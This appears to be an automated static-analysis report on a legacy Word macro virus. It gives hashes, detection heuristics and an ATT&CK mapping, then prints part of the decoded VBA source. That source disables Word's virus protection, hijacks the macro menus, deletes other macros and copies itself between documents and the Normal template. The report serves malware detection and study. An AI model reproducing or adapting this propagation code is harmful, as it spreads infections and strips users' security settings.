Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4b749fa5dc498b1f…

MALICIOUS

Office (OLE)

44.5 KB Created: 1997-09-17 11:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 7ddd78dd31dfc3893fe5c5c925dc21ec SHA-1: d0ece4394c01c2c1b49554cf946d0be78d7e0e95 SHA-256: 4b749fa5dc498b1f8704617b3f05dd9f60cc32f358d23d9e2c5d3f85501ac796
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample exhibits characteristics of legacy macro viruses, including WordBasic markers and VBA macros. The 'SHOGUN' VBA macro contains a message box that displays a personal message and includes code to disable virus protection and prompt for saving. While the message content is personal, the disabling of security features and the presence of legacy macro virus markers suggest malicious intent.

Heuristics 5

  • ClamAV: Legacy.Trojan.Agent-34741 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Legacy.Trojan.Agent-34741
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6034 bytes
SHA-256: 0aa9e66457423b843710cc43ef4891ded2482fa0368835cecc6ec8e4528f96fa
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "SHOGUN"
' Saya hanya berusaha melindungi komputerku, dan tentu juga komputer-
' teman-teman dari terinfeksinya virus macro yang merugikan
' dan minta sedilit tempatnya untuk mengungkapkan perasaah hati.

Sub ShowMessage()
    H = Time
    If Now > DateSerial(1999, 11, 15) Then
   ' Aplication.OnTime When:=Now + TimeValue("00:45:00"), Name:="SHOGUN.Action"
     If (WeekDay(Date) = vbFriday Or WeekDay(Date) = vbSunday Or WeekDay(Date) = vbSaturday Or WeekDay(Date) = vbMonday) And Time < TimeValue("21:00:00") Then
     'If (WeekDay(Date) = vbFriday Or WeekDay(Date) = vbSunday) And Time < TimeValue("21:00:00") Then
    For i = 1 To 100
        Beep
    Next i
    H = MsgBox("Terimakasih untukmu, adikku NITA yg sempat" & Chr(34) & _
    "memberiku harapan & perhatian" & Chr(34) & "," & Chr(13) & "walaupun saat ini aku masih berharap, semua yang telah terjadi dapat diperbaiki. " & Chr(13) & _
    "dan aku berharap semoga kita jangan pernah menyerah dengan keadaan ini" & Chr(13) & _
    "Permasalahanlah yang membuat Cerita semakin Indah" & Chr(13) & Chr(13) & "Jangan Penah putus asa, adikku!" & _
    Chr(13) & "(Kakakmu Yogya)", vbOKOnly + vbExclamation, "Ucapan Terimakasih")
    End If
    End If
    End Sub

Sub Bablas()
Attribute Bablas.VB_Description = "Macro created 10/02/99 by  Abdul Aziz"
Attribute Bablas.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.Cegat"
    Options.SaveNormalPrompt = False
    Options.VirusProtection = False
    Options.SavePropertiesPrompt = False
End Sub

Sub ToolsMacro()
    H = MsgBox("You can't create or modify macros.", vbExclamation + vbOKOnly)
End Sub

Sub ViewVbCode()
    ToolsMacro
End Sub

Sub FileTemplates()
    ToolsMacro
End Sub

Sub HelpAbout()
    H = MsgBox("Aku menyesali semua tapi yang lebih penting Aku berusaha keras memperbaiki." & Chr(13) & Chr(13) & _
    "Ku coba pahami keadaan ini, walau mungkin terlambat", vbOKOnly + vbExclamation, "OASIS Hacker")
End Sub

Sub ToolsOptions()
    Options.SaveNormalPrompt = True
    Options.SavePropertiesPrompt = True
    Options.VirusProtection = True
    Dialogs(wdDialogToolsOptions).Show
    Bablas
End Sub

Sub ChangeCap()
    On Error Resume Next
    Application.Caption = "Oasis Hacker Numpang Lewat"
    ActiveWindow.Caption = "(I Don't mind to disturb.)"
End Sub

Sub RestoreCap()
    On Error Resume Next
    Application.Caption = "Microsoft Word"
    ActiveWindow.Caption = ActiveDocument.Name
End Sub

Sub OpenMyMacro()
    If InputBox("Enter password", "OASIS Hacker") = "R3415AK" Then Application.ShowVisualBasicEditor = True
End Sub

Sub SikatDocument()
    Dim DocOk As Boolean
    DocOk = False
    For Each Obj In ActiveDocument.VBProject.VBComponents
        If Obj.Name = "SHOGUN" Then DocOk = True
        If Obj.Name <> "SHOGUN" And Obj.Name <> "ThisDocument" Then
            Application.StatusBar = "Deleting " + Obj.Name + _
            " Macro in " + ActiveDocument.Name + "..."
            Application.OrganizerDelete Source:=ActiveDocument.FullName, _
            Name:=Obj.Name, Object:=wdOrganizerObjectProjectItems
        End If
    Next Obj
    If DocOk = False Then
        Application.StatusBar = "Copying OASIS Hacker From Normal Template to " _
        + ActiveDocument.Name + "..."
        Application.OrganizerCopy Source:=NormalTemplate.FullName, _
        Destination:=ActiveDocument, Name:="SHOGUN", Object:=wdOrganizerObjectProjectItems
    End If
End Sub

Sub SikatTemplate()
    Dim NorOk As Boolean
    NorOk = False
    For Each Obj In NormalTemplate.VBProject.VBComponents
        If Obj.Name = "SHOGUN" Then NorOk = True
        If Obj.Name <> "SHOGUN" And Obj.Name <> "ThisDocument" Then
            Application.StatusBar = "Deleting " + Obj.Name + _
            "
... (truncated)